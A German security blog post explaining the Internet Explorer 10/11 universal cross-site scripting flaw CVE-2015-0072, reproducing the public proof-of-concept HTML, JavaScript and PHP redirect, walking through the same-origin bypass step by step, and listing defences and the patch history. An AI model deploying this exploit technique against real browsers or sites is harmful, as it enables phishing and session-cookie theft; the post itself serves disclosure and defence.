Die Universal Cross-Site Scripting (UXSS) Schwachstelle im Internet Explorer 10 und 11
David Leo hat im Internet Explorer 11 eine Universal Cross-Site Scripting (UXSS) Schwachstelle entdeckt. Die erlaubt ganz allgemein XSS-Angriffe auf Websites, die selbst gar keine XSS-Schwachstelle enthalten und dadurch zum Beispiel überzeugende Phishing-Angriffe oder das Ausspähen von Session-Cookies.
Kurze Zeit später stellte sich heraus, dass auch der IE 10 und der IE 11 im "Spartan"-Modus (und damit auch Microsofts neuer Browser "Spartan" unter Windows 10) von der Schwachstelle betroffen sind.
Im IE 9 funktioniert der PoC, wenn der Document Mode von "Quirks" auf "IE9 Standard" umgeschaltet wird. Ob das auch automatisch über eine entsprechenden Doctype-Angabe möglich ist, ist noch nicht bekannt.
PoC veröffentlicht
Demonstriert wird die Schwachstelle durch einen
Proof-of-Concept,
der in einem Fenster mit dailymail.co.uk
nach sieben Sekunden den Schriftzug "Hacked by Deusen"
einfügt. Das ist ein eindeutiger Verstoß gegen die
Same Origin Policy
(SOP).
So funktioniert der Angriff
Verantwortlich für den Angriff ist der folgende HTML- und JavaScript-Code auf der PoC-Webseite (neu formatiert, nicht relevante Teile weg gelassen und URL-codierte Zeichen bereits umgewandelt):
<iframe id=i name=i src="1.php"></iframe><br>
<iframe src="http://www.dailymail.co.uk/robots.txt"></iframe><br>
<script>
function go() {
w=window.frames[0];
w.setTimeout("
alert(
eval('
x=top.frames[1];
r=confirm(\\'Close this window after 3 seconds...\\');
x.location=\\'javascript:"
<script>
function a(){
w.document.body.innerHTML='<a>Hacked by Deusen</a>';
}
function o(){
w=window.open('http://www.dailymail.co.uk');
setTimeout('a()',7000);
}
</script>
<a href='javascript:o();void(0);'>Go</a>
"\\';
')
)
",1);
}
setTimeout("go()",1000);
</script>
1.php enthält den folgenden Code:
<?php
sleep(2);
header("Location: http://www.dailymail.co.uk/robots.txt");
?>
Für die Erklärung soll der erste iframe mit dem PHP-Skript Frame0 heißen,
der zweite mit http://www.dailymail.co.uk/robots.txt
Frame1.
Der Angriff läuft dann
folgendermaßen
ab:
Schritt 1:
Beim Aufruf von go()
ist die Origin (Domain) von Frame0
http://angreifer.example
, die Domain des Angreifers. Aufgrund
des sleep(2)
in 1.php
ist die Umleitung zu
http://www.dailymail.co.uk/robots.txt
noch nicht erfolgt.
Die Origin von Frame1 ist http://www.dailymail.co.uk
, die
Origin des Hauptframes ist http://angreifer.example
.
Der Befehl w=window.frames[0]
erzeugt einen ComWindowProxy
mit Namen w
und Origin http://angreifer.example
.
Der Aufruf w.setTimeout()
ist daher durch die Same Origin
Policy erlaubt.
Schritt 2:
w.setTimeout()
wird ausgelöst und der enthaltene Code
ausgeführt:
-
x=top.frames[1]
erzeugt einen ComWindowProxy mit Namenx
und Originhttp://angreifer.example
. - In der von
r=confirm()
erzeugten Schleife wird der Redirect aktiv und die Origin von Frame0 wird zu der von Frame1 (http://www.dailymail.co.uk
). - Jetzt wird
x.location
ausgeführt. Eigentlich müssten die beteiligten Origins geprüft, der Verstoß gegen die SOP festgestellt und die Ausführung des folgenden JavaScript-Codes verweigert werden. Diese Prüfung findet aber nicht statt und der JavaScript-Code wird ausgeführt. Und kann dann den Inhalt der fremden Website ändern.
Dieser PoC ist zwar auf eine Benutzeraktion (das Schließen der Alert-Box) angewiesen, so dass ein echter, bösartiger Angriff doch recht auffällig wäre. Diese Benutzeraktion ist aber nicht nötig, der Angriff funktioniert auch ohne.
Die Folgen des Angriffs...
Mit dem Angriff können sogar Standard-HTTP-nach-HTTPS-Einschränkungen umgangen werden. Je nachdem, was in die Seiten eingeschleust wird, kann teilweise auch die Content Security Policy umgangen werden (insbesondere wenn HTML statt JavaScript eingefügt wird).
Prinzipiell sind also alle üblichen XSS-Angriffe möglich: Phishing, Informationen (zum Beispiel Session-Cookies) ausspähen, JavaScript-Schadcode einschleusen, ... . Einige Beispiele für XSS-Angriffe allgemein finden Sie in den entsprechenden Folgen von About Security, zur Zeit leider nur über archive.org zugänglich:
- About Security #14: Cross-Site Scripting
- About Security #15: Cross-Site Scripting verhindern
- About Security #129: Cross-Site Scripting, reloaded
- About Security #130: DOM-basiertes XSS abwehren
- About Security #131: XSS-Angriffe (1)
- About Security #132: XSS-Angriffe (2)
- About Security #133: XSS-Angriffe (3): JavaScript-Ping & Co.
- About Security #134: XSS-Angriffe (4): JavaScript-Portscan
- About Security #135: XSS-Angriffe (5): JavaScript-Portscan vorbereiten
- About Security #136: XSS-Angriffe (6): DSL-Router ausspähen
- About Security #137: XSS-Angriffe (7): Weitere Ziele
... und wie man die Angriffe verhindert
Der als PoC demonstrierte Angriff funktioniert nur, wenn die angegriffene
Webseite in einem Frame eingebettet werden kann. Seiten, die durch einen
X-FRAME-OPTIONS-HTTP-Header
mit Wert deny
oder same-origin
vor dem Einbetten
geschützt sind, können daher nicht in vollem Umfang angegriffen werden.
Das Ausspähen von Session-Cookies ist aber
trotz X-FRAME-OPTIONS-Header
mit passender Einstellung
möglich.
Session-Cookies müssen daher mit dem HttpOnly
-Flag
geschützt werden
(was eigentlich selbstverständlich sein sollte).
Zusammengefasst ergibt das folgende Gegenmaßnahmen:
- Verwenden Sie einen
X-FRAME-OPTIONS-HTTP-Header
mit Wert
deny
odersame-origin
, um Manipulationen der aufgerufenen Seite zu verhindern. - Setzen Sie für alle Cookies, zumindest aber für Session-Cookies,
dass
HttpOnly
-Flag, um deren Ausspähen zu verhindern. - Implementieren Sie die üblichen Schutzmaßnahmen vor
Session Hijacking (wenn nicht bereits geschehen, Session Hijacking ist
ja nun wirklich kein neues Problem):
- Kurzes Timeout für Sessions
- Beenden der Session (Ausloggen des Benutzers) bei Änderung von IP-Adresse oder User Agent während der laufenden Session
Microsoft ist informiert (SCNR)
Die Schwachstelle wurde zwar am 31. Januar als 0-Day veröffentlicht, Microsoft wurde aber bereits am 13. Oktober 2014 informiert. Die Veröffentlichung erfolgt also wohl mal wieder, weil Microsoft zu langsam war. Über die Hintergründe ist aber nichts bekannt.
Microsoft sieht das Ganze aber recht gelassen, da es ja noch keine Angriffe gibt und der Angreifer sein Opfer erst auf seine Seite locken müsste. Also als ob DAS nun ein größeres Problem wäre. Und dann wieder der Rat, "untrusted" Websites zu meiden. Ja, wenn das denn so einfach wäre - zumindest die Phisher sorgen meist schon dafür, dass ihre Seiten vertrauenswürdig aussehen. Und in Zeiten von URL-Verkürzern sieht man einem Link ja sowieso nicht mehr unbedingt an, wohin er letztendlich führt.
Man soll ja niemanden etwas Schlechtes wünschen, aber manche werden wohl nur aus Schaden klug. Microsoft also wohl erst, wenn die halbe Führungsetage abgephisht und eine größere Zahl Rechner über Drive-by-Infektionen auf harmlosen Websites mit Schadsoftware infiziert wurde,
Die CVE-ID der Schwachstelle ist
CVE-2015-0072,
einen Patch gibt es bisher nicht.
Update 10.3.2015:
Microsoft hat die Schwachstelle am März-Patchday behoben, zuständig ist das
Security Bulletin
MS15-018,
"Cumulative Security Update for Internet Explorer (3032359)".
Laut dem Security Bulletin wird die Schwachstelle bereits für Angriffe
ausgenutzt.
Ende des Updates
Trackbacks
Dipl.-Inform. Carsten Eilers am : Cross-Site Scripting im Überblick, Teil 1: Reflektiertes XSS
Vorschau anzeigen
Dipl.-Inform. Carsten Eilers am : Cross-Site Scripting im Überblick, Teil 2: Persistentes XSS
Vorschau anzeigen
Dipl.-Inform. Carsten Eilers am : Drucksache: windows.developer Magazin 4.2015 - Der Browser im Visier - ganz praktisch
Vorschau anzeigen
Dipl.-Inform. Carsten Eilers am : Cross-Site Scripting im Überblick, Teil 5: Resident XSS
Vorschau anzeigen
Dipl.-Inform. Carsten Eilers am : Drucksache: PHP Magazin 4.16 - Webbrowser und Webclient als Angriffsziel
Vorschau anzeigen